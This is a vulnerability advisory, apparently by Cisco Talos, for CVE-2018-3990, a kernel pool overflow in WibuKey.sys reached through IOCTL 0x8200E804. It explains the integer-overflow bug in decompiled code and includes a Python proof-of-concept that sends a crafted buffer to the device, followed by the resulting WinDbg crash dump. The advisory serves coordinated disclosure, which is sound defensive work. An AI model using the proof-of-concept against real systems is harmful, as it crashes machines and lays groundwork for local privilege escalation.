CVE-2018-3990
An exploitable pool corruption vulnerability exists in the 0x8200E804 IOCTL handler functionality of WIBU-SYSTEMS WibuKey.sys Version 6.40 (Build 2400).
A specially crafted IRP request can cause a buffer overflow, resulting in kernel memory corruption and, potentially, privilege escalation. An attacker can send an IRP request to trigger this vulnerability.
WIBU-SYSTEMS WibuKey.sys Version 6.40 (Build 2400) - Windows 7 x86
https://www.wibu.com/products/wibukey.html
9.3 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE-787: Out-of-bounds Write
WibuKey is a complete DRM solution that is used by many applications, such as Straton, Archicad, GRAPHISOFT, V-Ray and many more. Part of WibuKey solution is in hardwar, as well as WibuKey Runtime for Windows, which contains necessary Windows drivers and services. This advisory is for a vulnerability in the driver installed by the Windows package.
This vulnerability can be triggered by sending IOCTL requests to the WibuKey device. Here are the default access controls on the device that allow any user on the system to send IOCTL requests:
accesschk.exe -q -o \Device\WibuKey
\Device\WibuKey
Type: Device
RW Everyone
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
R NT AUTHORITY\RESTRICTED
A buffer overflow vulnerability that causes pool corruption is located in the IOCTL handler for the 0x8200E804
control code. The vulnerable function is:
Line 1 int __stdcall sub_A382D0F0(struct_buffer_1 *buffer, struct_allocatedBuffer *allocatedBuffer)
Line 2 {
Line 3
Line 4 v4 = buffer->unsigned4;
Line 5 v5 = buffer->unsigned6;
Line 6 v6 = allocatedBuffer;
Line 7 _mm_storel_epi64(&allocatedBuffer->m128i0, (__m128i)0i64);
Line 8 v6->m128i0.m128i_i8[6] = v5;
Line 9 result = v5 - 16;
Line 10 switch ( result )
Line 11 {
Line 12 (...)
Line 13 case 16:
Line 14 v21 = buffer->dword14;
Line 15 v22 = *(_DWORD *)&buffer->unsigned10;
Line 16 if ( v22 > v21 )
Line 17 v22 = buffer->dword14;
Line 18 if ( v4 >= v22 + 12 )
Line 19 {
Line 20 memcpy((char *)&allocatedBuffer->m128i0.m128i_u64[1] + 4, &buffer->char18, v22);
The buffer
represents the input buffer passed to the driver via the IRP request. ‘AllocatedBuffer is a buffer that is allocated with a size, and is based on the
OutputBufferLength` specified by the caller.
As we can see at line 18
, an integer overflow occurs and, as a result, we can pass this constraint with huge value of the v22
variable (bigger than v4
).
Since all values for v22
and v21
come from a buffer passed by the user, their values are fully controllable. Bypassing the check at line 18
using an integer overflow, we end up at line 20
with the v22
variable having values in the range of 0xfffffff4 - 0xffffffff
.
That vulnerability leads to pool corruption, and can be turned into arbitrary code execution and privilege escalation by the attacker.
def leak_memory(): fileName = u’\\.\WibuKey’ hFile = win32file.CreateFileW(fileName, win32con.GENERIC_READ |win32con.GENERIC_WRITE, 0, None, win32con.OPEN_EXISTING, 0 , None, 0) print “Handle ready : “,repr(hFile)
try:
ioctl = 0x8200E804
unsigned4 = random.randint(0,0xFFFF)
outBufferLen = 0xC #FIXED
if outBufferLen < unsigned4:
unsigned4 = outBufferLen
inputBuffer = "XXXX" #gap
inputBuffer += struct.pack("<H",unsigned4) #unsigned4
inputBuffer += struct.pack("<B",32) # unsigned6 FIXED
inputBuffer += "X" #gap
inputBuffer += struct.pack("<I",random.randint(0,0xFFFFFFFF) ) #dword8
inputBuffer += struct.pack("<I",random.randint(0,0xFFFFFFFF) ) #dwordC
inputBuffer += struct.pack("<I",0xFFFFFFFE ) #unsigned10
inputBuffer += struct.pack("<I",0xFFFFFFFD )#dword14
inputBuffer += struct.pack("<B",random.randint(0,0xFF))#char18
inputBuffer += "XXX"
inputBuffer += struct.pack("<I",random.randint(0,0xFFFFFFFF) ) #dword1c
inputBuffer += struct.pack("<B",random.randint(0,0xFF) )
inputBufferLen = len(inputBuffer)
print "Time to send IOCTL : 0x%x" % ioctl
buf = win32file.DeviceIoControl(hFile, ioctl,inputBuffer,outBufferLen)
except Exception as e:
print e.message
*** Fatal System Error: 0x000000cd
(0xA3731000,0x00000001,0x82C807F3,0x00000000)
WARNING: This break is not a step/trace completion.
The last command has been cleared to prevent
accidental continuation of this unrelated event.
Check the event, location and thread before resuming.
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
Connected to Windows 7 7601 x86 compatible target at (Tue Aug 28 15:09:38.044 2018 (UTC + 2:00)), ptr64 FALSE
Loading Kernel Symbols
...............................................................
................................................................
...............................
Loading User Symbols
..................................................
Loading unloaded module list
.....
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
Use !analyze -v to get detailed debugging information.
BugCheck CD, {a3731000, 1, 82c807f3, 0}
*** ERROR: Module load completed but symbols could not be loaded for WibuKey.sys
*** WARNING: Unable to verify checksum for win32file.pyd
*** ERROR: Symbol file could not be found. Defaulted to export symbols for win32file.pyd -
Probably caused by : WibuKey.sys ( WibuKey+52c1 )
Followup: MachineOwner
---------
nt!RtlpBreakWithStatusInstruction:
82cc2110 cc int 3
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_BEYOND_END_OF_ALLOCATION (cd)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: a3731000, memory referenced
Arg2: 00000001, value 0 = read operation, 1 = write operation
Arg3: 82c807f3, if non-zero, the address which referenced memory.
Arg4: 00000000, Mm internal code.
Debugging Details:
------------------
KEY_VALUES_STRING: 1
STACKHASH_ANALYSIS: 1
TIMELINE_ANALYSIS: 1
DUMP_CLASS: 1
DUMP_QUALIFIER: 0
BUILD_VERSION_STRING: 7601.17514.x86fre.win7sp1_rtm.101119-1850
DUMP_TYPE: 0
BUGCHECK_P1: ffffffffa3731000
BUGCHECK_P2: 1
BUGCHECK_P3: ffffffff82c807f3
BUGCHECK_P4: 0
WRITE_ADDRESS: a3731000 Special pool
FAULTING_IP:
nt!memcpy+33
82c807f3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
MM_INTERNAL_CODE: 0
CPU_COUNT: 1
CPU_MHZ: c81
CPU_VENDOR: GenuineIntel
CPU_FAMILY: 6
CPU_MODEL: 4f
CPU_STEPPING: 1
CPU_MICROCODE: 6,4f,1,0 (F,M,S,R) SIG: B000021'00000000 (cache) B000021'00000000 (init)
DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
BUGCHECK_STR: 0xCD
PROCESS_NAME: python.exe
CURRENT_IRQL: 2
ANALYSIS_SESSION_HOST: DESKTOP-E4N8506
ANALYSIS_SESSION_TIME: 08-28-2018 15:10:00.0279
ANALYSIS_VERSION: 10.0.18206.1001 amd64fre
TRAP_FRAME: a1bd49ec -- (.trap 0xffffffffa1bd49ec)
ErrCode = 00000002
eax=8b5c8e95 ebx=a3730ffc ecx=3ffffffe edx=00000001 esi=8b5c8e9c edi=a3731000
eip=82c807f3 esp=a1bd4a60 ebp=a1bd4a68 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
nt!memcpy+0x33:
82c807f3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope
LAST_CONTROL_TRANSFER: from 82d26083 to 82cc2110
STACK_TEXT:
a1bd4534 82d26083 00000003 60dccd9b 00000065 nt!RtlpBreakWithStatusInstruction
a1bd4584 82d26b81 00000003 87a9c540 00000002 nt!KiBugCheckDebugBreak+0x1c
a1bd4948 82cd541b 00000050 a3731000 00000001 nt!KeBugCheck2+0x68b
a1bd49d4 82c883d8 00000001 a3731000 00000000 nt!MmAccessFault+0x106
a1bd49d4 82c807f3 00000001 a3731000 00000000 nt!KiTrap0E+0xdc
a1bd4a68 82f8b2a1 a3730ffc 8b5c8e98 fffffffd nt!memcpy+0x33
a1bd4a88 96b132c1 a3730ffc 8b5c8e98 fffffffd nt!Verifiermemcpy+0x3e
WARNING: Stack unwind information not available. Following frames may be wrong.
a1bd4aa8 96b1cfa1 00000001 0000000c 96b12d38 WibuKey+0x52c1
a1bd4ab4 96b12d38 0000000c a3730ff0 8725a358 WibuKey+0xefa1
a1bd4adc 82f784d9 a210bad8 a205f008 8725a358 WibuKey+0x4d38
a1bd4b00 82c7e54a 82e7299f a205f008 a210ba20 nt!IovCallDriver+0x73
a1bd4b14 82e7299f 8725a358 a205f008 a205f078 nt!IofCallDriver+0x1b
a1bd4b34 82e75b71 a210ba20 8725a358 00000000 nt!IopSynchronousServiceTail+0x1f8
a1bd4bd0 82ebc3f4 a210ba20 a205f008 00000000 nt!IopXxxControlFile+0x6aa
a1bd4c04 82c851ea 000000a0 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
a1bd4c04 777070b4 000000a0 00000000 00000000 nt!KiFastCallEntry+0x12a
0021f98c 77705864 759e989d 000000a0 00000000 ntdll!KiFastSystemCallRet
0021f990 759e989d 000000a0 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0021f9f0 761da671 000000a0 8200e804 01d5cce4 KERNELBASE!DeviceIoControl+0xf6
0021fa1c 1ea11fd9 000000a0 8200e804 01d5cce4 kernel32!DeviceIoControlImplementation+0x80
00000000 00000000 00000000 00000000 00000000 win32file+0x1fd9
THREAD_SHA1_HASH_MOD_FUNC: 141b6c2e16af862151a0df26f8456bb2f5d1b067
THREAD_SHA1_HASH_MOD_FUNC_OFFSET: fa85d9875de7d8856df2c96254754cdff060496f
THREAD_SHA1_HASH_MOD: d46a340d9b1042cac75705a89fb9cf813334087e
FOLLOWUP_IP:
WibuKey+52c1
96b132c1 83c40c add esp,0Ch
FAULT_INSTR_CODE: 850cc483
SYMBOL_STACK_INDEX: 7
SYMBOL_NAME: WibuKey+52c1
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: WibuKey
IMAGE_NAME: WibuKey.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 5853cbb3
STACK_COMMAND: .thread ; .cxr ; kb
FAILURE_BUCKET_ID: 0xCD_VRF_WibuKey+52c1
BUCKET_ID: 0xCD_VRF_WibuKey+52c1
PRIMARY_PROBLEM_CLASS: 0xCD_VRF_WibuKey+52c1
TARGET_TIME: 2018-08-28T13:07:25.000Z
OSBUILD: 7601
OSSERVICEPACK: 1000
SERVICEPACK_NUMBER: 0
OS_REVISION: 0
SUITE_MASK: 784
PRODUCT_TYPE: 1
OSPLATFORM_TYPE: x86
OSNAME: Windows 7
OSEDITION: Windows 7 WinNt (Service Pack 1) TerminalServer SingleUserTS Personal
OS_LOCALE:
USER_LCID: 0
OSBUILD_TIMESTAMP: 2010-11-20 09:42:49
BUILDDATESTAMP_STR: 101119-1850
BUILDLAB_STR: win7sp1_rtm
BUILDOSVER_STR: 6.1.7601.17514.x86fre.win7sp1_rtm.101119-1850
ANALYSIS_SESSION_ELAPSED_TIME: 13b8
ANALYSIS_SOURCE: KM
FAILURE_ID_HASH_STRING: km:0xcd_vrf_wibukey+52c1
FAILURE_ID_HASH: {f9836f4e-3d7b-f80c-4362-1fd3b7c43536}
Followup: MachineOwner
---------
2018-09-14 - Vendor Disclosure
2018-12-19 - Vendor Patch
2019-01-28 - Public Release
Marcin 'Icewall' Noga of Cisco Talos.